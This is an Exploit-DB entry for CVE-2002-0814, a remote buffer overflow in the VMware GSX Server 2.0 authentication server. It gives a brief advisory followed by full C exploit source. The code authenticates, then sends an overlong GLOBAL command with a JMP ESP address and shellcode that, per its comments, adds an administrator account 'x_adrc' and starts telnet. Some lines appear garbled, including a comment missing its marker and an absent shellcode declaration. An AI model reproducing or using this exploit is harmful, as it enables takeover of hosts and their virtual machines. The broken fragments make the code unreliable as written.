标题: VMware GSX Server 2.0 - Authentication Server Buffer Overflow EDB-ID: 21639 CVE: 2002-0814 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5294/info

VMWare GSX Server ships with an authentication server. The server is vulnerable to a buffer overflow related to handling of the argument to the "GLOBAL" command. While attackers must be authenticated before the command can be issued, default accounts may exist. This has not been confirmed by VMWare.

This condition may be exploited to execute arbitrary code on the GSX server host. The code likely executes on the underlying, native system and may compromise the host entirely (including all virtual systems).

////////////////////////////////////////////////////////////////////
//  VMwareOverflowTest v1.0
//  Written by Zag & Glcs
//  BigBall@venustech.com.cn glcs@venustech.com.cn
//  http://www.Venustech.com
////////////////////////////////////////////////////////////////////

#include "stdio.h"
#include "winsock2.h"
#include "stdlib.h"
#pragma comment (lib, "Ws2_32")

to make sure that the shellcode length and GLOBAL command length not 
exceed the limit.

//add an administrator account: x_adrc password: x_adrc
//start the telnet service
"\x68\xC1\x15\x35\x09\x81\x2C\x24"
"\x80\xD1\xF0\x08\x68\x63\x20\x20"
"\x2F\x68\x5F\x61\x64\x72\x68\x72"
"\x73\x20\x78\x68\x72\x61\x74\x6F"
"\x68\x6E\x69\x73\x74\x68\x61\x64"
"\x6D\x69\x68\x6F\x75\x70\x20\x68"
"\x61\x6C\x67\x72\x68\x20\x6C\x6F"
"\x63\x68\x26\x6E\x65\x74\x68\x74"
"\x73\x76\x72\x68\x20\x74\x6C\x6E"
"\x68\x74\x61\x72\x74\x68\x65\x74"
"\x20\x73\x68\x44\x44\x26\x6E\x68"
"\x63\x20\x2F\x41\x68\x5F\x61\x64"
"\x72\x68\x72\x63\x20\x78\x68\x78"
"\x5F\x61\x64\x68\x73\x65\x72\x20"
"\x68\x65\x74\x20\x75\x68\x2F\x63"
"\x20\x6E\x68\x63\x6D\x64\x20\x8B"
"\xC4\x6A\x01\x50\xB8\xC6\x84\xE6"
"\x77\xFF\xD0\x90";

//the JMP ESP address of WindowsXP English Version, we can add the address 
of other systems, such as Windows 2000.
unsigned char Jmp_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77};//WinXP Eng
unsigned char Jmp_ESP[4];

void usage ()
{
 printf ("VMwareOverflowTest v1.0\n Written by Zag & Glcs\n 
Email:BigBall@venustech.com.cn\n Glcs@venustech.com.cn\n 
www.Venustech.com\n\nUsage:VMwareOverflowTest.exe <IP> <PORT> <username> 
<passwd> <os type>\n\t0.Windows XP Eng\n");
 return;
}

int main (int argc, char **argv)
{
 char str[4096];
 WSADATA wsa;
 SOCKET sock;
 struct sockaddr_in server;
 int ret;
 int i = 0;
 if (argc != 6)
 {
  usage ();
  return 0;
 }
 WSAStartup (MAKEWORD (2, 2), &wsa);
 sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
 server.sin_family = AF_INET;
 server.sin_port = htons (atoi (argv[2]));
 server.sin_addr.s_addr = inet_addr (argv[1]);

       //the base address of DLL files on each systems is not the same, so 
we need to modify the call address 
        //we can find that the system have loaded the DLL files we need by 
check VMware Authorization Service
       //then we only need modify the call address
 //(BASE_ADDRESS + FUNCTION_OFFSET)
 switch (atoi(argv[5]))
 {
 case 0:
  shellcode[133] = 0xc6;
  shellcode[134] = 0x84;
  shellcode[135] = 0xe6;
  shellcode[136] = 0x77;

  strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);

  break;
 default:
  shellcode[133] = 0xc6;
  shellcode[134] = 0x84;
  shellcode[135] = 0xe6;
  shellcode[136] = 0x77;

  strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);
  break;
 }
 ret = connect (sock, (struct sockaddr *)&server, sizeof (server));

 if (ret == SOCKET_ERROR)
 {
  printf ("connect error\n");
  return -1;
 }

 //receive welcome message
 memset (str, 0, sizeof (str));
 recv (sock, str, 100, 0);
 printf ("%s", str);

        //send username confirm message
 memset (str, 0, sizeof (str));
 strcpy (str,"USER ");
 strcat (str, argv[3]);
 strcat (str, "\r\n");
 ret = send (sock, str, strlen (str), 0);

        //receive confirm message
 memset (str, 0, sizeof (str));
 recv (sock, str, 100, 0);
 printf ("%s", str);

 //send password
 memset (str, 0, sizeof (str));
 strcpy (str,"PASS ");
 strcat (str, argv[4]);
 strcat (str, "\r\n");
 ret = send (sock, str, strlen (str), 0);

 //receive confirm message
 memset (str, 0, sizeof (str));
 ret = recv (sock, str, 100, 0);
 printf ("%s", str);

        make GLOBAL command
 memset (str, 0, sizeof (str));
 strcpy (str, "GLOBAL ");
 //to up the success probability, we use the half-continuous 
covering, so the exact overflow point is not need


 for(i = 7; i < 288; i += 8)
 {
  memcpy(str + i, "\x90\x90\x58\x68", 4);
  //write the JMP ESP command into the possible return 
address
  memcpy(str + i + 4, Jmp_ESP, 4);
 }

 //append the shellcode to the GLOBAL command string
 memcpy (str + i, shellcode, strlen (shellcode));
 strcat (str, "\r\n");
 ret = send (sock, str, strlen (str), 0);
 printf ("Done!\n");
 closesocket (sock);
 WSACleanup ();
 return 1;
} URL: https://www.exploit-db.com/exploits/21639